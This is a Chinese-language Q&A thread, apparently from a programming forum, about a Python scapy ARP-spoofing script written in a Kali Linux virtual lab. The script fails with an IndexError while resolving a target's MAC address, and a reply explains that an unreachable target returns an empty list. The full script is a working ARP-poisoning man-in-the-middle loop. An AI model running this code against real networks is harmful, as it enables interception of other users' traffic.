【问题标题】:Not able to get mac address - Kali Linux无法获取 mac 地址 - Kali Linux
【发布时间】:2020-05-30 13:04:20
【问题描述】:

这是我用来获取 mac 地址的代码,如果我得到 ip=10.0.2.1 的 mac 地址,它工作正常,但如果我尝试获取 10.0.2.7 的 mac 地址,它会显示列表索引超出范围异常,但是我在虚拟机中使用 kali linux,并且在 ip 为 10.0.2.7 的虚拟机中也使用窗口 10。

#!/usr/bin/env python

import scapy.all as scapy
import time


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet)


while True:
    spoof("10.0.2.7", "10.0.2.1")
    spoof("10.0.2.1", "10.0.2.7")
    time.sleep(2)

这是我在终端上得到的输出:

root@kali:~/PycharmProjects/arp_spoof# python3 arp_spoof.py 
Traceback (most recent call last):
  File "arp_spoof.py", line 22, in <module>
    spoof("10.0.2.7", "10.0.2.1")
  File "arp_spoof.py", line 16, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 12, in get_mac
    return  answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range
root@kali:~/PycharmProjects/arp_spoof# 

【问题讨论】:

  • 好像你没有answered_list[0] 或answered_list[0][1],你能打印出来吗?

标签: python virtual-machine kali-linux


【解决方案1】:

scapy.ARP如果无法到达目标ip,则返回一个空的scapy.plist.SndRcvList对象。

我在我的网络中尝试了get_mac,效果很好。

您的机器在同一个网络中吗?

【讨论】:

    猜你喜欢
    • 2011-09-29
    • 1970-01-01
    • 1970-01-01
    • 2014-07-24
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多